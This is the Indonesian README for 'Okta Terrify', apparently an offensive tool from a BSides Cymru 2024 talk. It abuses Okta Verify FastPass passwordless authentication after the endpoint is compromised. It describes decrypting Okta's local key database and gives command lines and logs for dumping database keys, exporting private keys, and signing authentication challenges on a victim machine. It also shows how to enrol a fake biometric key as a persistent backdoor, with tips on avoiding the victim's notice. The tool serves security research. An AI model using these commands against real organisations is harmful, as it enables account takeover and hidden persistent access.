Alat ini dirilis sebagai bagian dari pembicaraan BSides Cymru 2024 saya, Okta Terrify: Persistence in a Passwordless World. Dek presentasi dan video demonstrasi telah disertakan dalam repositori ini.
Okta Terrify adalah alat untuk menunjukkan bagaimana solusi tanpa kata sandi seperti FastPass Okta Verify atau solusi jenis FIDO2/WebAuthn lainnya dapat disalahgunakan setelah titik akhir autentikator disusupi. Meskipun Okta Terrify mendemonstrasikan serangan khusus Okta, metodologi yang sama biasanya berlaku untuk solusi tanpa kata sandi lainnya, karena umumnya semuanya memanfaatkan kriptografi asimetris.
Otentikasi tanpa kata sandi berfungsi melalui pasangan kunci publik/pribadi. Biasanya, ada dua jenis kunci yang dihasilkan selama pendaftaran pengautentikasi, Proof Of Possession dan User Verification . Jika digabungkan, kedua kunci tersebut memenuhi elemen autentikasi multifaktor yang diupayakan oleh organisasi sebagai bagian dari upaya berkelanjutan untuk melindungi penggunanya.
Kunci bukti kepemilikan dirancang untuk melakukan hal itu, membuktikan kehadiran pengautentikasi dan/atau pengguna tertentu selama autentikasi. Dalam kasus Okta, kunci bukti kepemilikan digunakan untuk menentukan keberadaan pengautentikasi dan pengguna, karena dalam skenario multipengguna, kunci bukti kepemilikan unik dihasilkan per pengguna. Kunci bukti kepemilikan biasanya berupa kunci senyap, yang tidak memerlukan data biometrik apa pun untuk membuka kunci penggunaannya di luar sistem operasi itu sendiri, seperti sesi pengguna Windows yang diautentikasi. Jika tersedia, kunci ini akan didukung oleh TPM dan oleh karena itu tidak dapat diekspor dari perangkat. Jika TPM tidak tersedia, kunci ini dibuat sebagai kunci perangkat lunak saja.
Kunci verifikasi pengguna juga memberikan bukti kepemilikan, namun juga memverifikasi bahwa pengguna memang mengetahui bahwa otentikasi sedang dilakukan. Hal ini dicapai melalui data biometrik, sering kali berupa sidik jari atau pengenalan wajah, namun juga didukung oleh PIN. Pada perangkat berbasis Windows, hal ini biasanya diterapkan dengan menggunakan Windows Hello. Operasi penandatanganan tidak akan berhasil tanpa data biometrik yang benar disediakan. Beberapa solusi tanpa kata sandi hanya akan menggunakan kunci verifikasi pengguna untuk memenuhi kedua faktor tersebut. Kelemahan pendekatan ini adalah setiap operasi penandatanganan memerlukan data biometrik pengguna. Dalam kasus Okta misalnya, kunci bukti kepemilikan dapat digunakan sebagai faktor pembeda selama otentikasi bersama dengan faktor terpisah seperti kata sandi pengguna. Sekali lagi, kunci ini didukung oleh TPM jika tersedia atau dibuat dalam perangkat lunak jika tidak.
Oke, cukup latar belakang tentang tanpa kata sandi ini, mari kita ke hal-hal bagus. Meskipun konsep yang sama ada di semua perangkat Okta Verify yang didukung, mulai sekarang kita akan membahas cara kerja Okta Verify versi Windows.
Okta menyimpan informasi autentikator di dalam database SQLite terenkripsi. Ada dua versi database yang berbeda, versi lama yang disimpan di dalam file bernama OVStore.db yang menggunakan SID pengguna sebagai dasar kunci enkripsi yang melewati algoritma XOR khusus dan kunci tetap. Versi yang lebih baru disebut DataStore.db dan menggunakan nilai acak yang disimpan di manajer kredensial. Kredensial ini diteruskan melalui algoritma XOR yang serupa dengan format lama. Basis data disimpan di %LocalAppData%OktaOktaVerify . Basis data berisi id kunci yang dihasilkan untuk bukti kepemilikan dan kunci verifikasi pengguna yang dihasilkan selama pendaftaran perangkat. Basis data juga berisi metadata berguna lainnya, seperti ID perangkat, pengguna, dan pengautentikasi beserta URL penyewa Okta untuk akun terdaftar.
Okta Terrify dibagi menjadi dua komponen berbeda. Okta Terrify dan OktaInk.
Okta Terrify dirancang untuk berjalan di mesin penyerang. Alat ini memerlukan SID pengguna dan file database dengan format database lama dan untuk format yang lebih baru, kunci database. Untuk format yang lebih baru, kunci database dapat dibuat menggunakan OktaInk. Okta Terrify memiliki 4 mode pengoperasian yang dikontrol melalui berbagai switch.
Mode --info hanya membuang informasi yang terdapat dalam database.
Basis Data Lama
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Basis Data yang Lebih Baru
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Dalam mode --backdoor , Okta Terrify akan meluncurkan URL Okta penyewa menggunakan id klien OAuth yang digunakan aplikasi resmi Okta Verify selama pendaftaran. Hal ini biasanya akan memicu alur autentikasi dan mode penandatanganan aktif selama fase ini. Setelah sesi terotentikasi dibuat, kunci verifikasi pengguna baru dibuat pada perangkat penyerang dan didaftarkan sebagai kunci biometrik palsu. Setelah kunci didaftarkan, FastPass akan beroperasi dalam keadaan tanpa kata sandi tanpa ketergantungan apa pun pada perangkat pengautentikasi asli yang disusupi.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
Dalam mode --sign , selama autentikasi Okta, tantangan ditandatangani secara lokal melalui kunci yang dieksfiltrasi atau dapat diproksi ke OktaInk yang berjalan pada autentikator yang disusupi ketika ada kunci yang didukung perangkat keras.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
Mode --import akan menyimpan bukti kepemilikan yang ditentukan perangkat lunak dan kunci verifikasi pengguna yang telah diekstraksi menggunakan Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink dirancang untuk berjalan pada perangkat autentikator yang disusupi. Aplikasi ini mendukung 4 jenis operasi.
Untuk format database yang lebih baru, --operation DumpDBKey dapat digunakan untuk membuang kunci database untuk file DataStore.db . Kuncinya kemudian dapat digunakan sebagai parameter untuk OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Selama alur autentikasi Okta, respons tantangan JWT dihasilkan untuk membuktikan bahwa bukti kehadiran atau kunci verifikasi pengguna tersedia. Mode --operation SignDeviceBind dapat digunakan untuk menandatangani JWT yang dihasilkan dengan kunci bukti kepemilikan, yang tidak bersuara. Jika Anda ingin melakukan autentikasi tanpa kata sandi, Anda juga dapat masuk dengan kunci verifikasi pengguna dengan menambahkan argumen -v . PERINGATAN - Saat meminta kunci verifikasi pengguna, pengguna korban akan diminta untuk melakukan validasi biometrik dan oleh karena itu dapat menimbulkan kecurigaan.
Okta Verify juga mendaftarkan kunci pengesahan perangkat, yang merupakan kunci senyap. Kunci ini tampaknya digunakan ketika perubahan dilakukan pada perangkat pengautentikasi terdaftar melalui panggilan API web terhadap penyewa Okta. Namun tampaknya pengesahan perangkat secara default tidak diterapkan, oleh karena itu penandatanganan tidak diperlukan. Terlepas dari itu, mode ini dapat dimanfaatkan melalui argumen --operation SignDeviceAttestation .
Untuk perangkat yang tidak mendukung TPM, baris perintah --operation ExportPrivate dapat digunakan untuk mengekspor semua kunci yang terdaftar pada perangkat. Kunci bukti kepemilikan terikat dengan kunci DPAPI pengguna dan oleh karena itu kata sandi pengguna harus diketahui.
Selama proses pendaftaran pintu belakang, kita perlu memastikan bahwa kunci publik yang ada disimpan dalam data pengautentikasi penyewa. --operation ExportPublic memfasilitasi ini dengan mengekspor kunci publik yang terkait dengan id kunci tertentu.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....
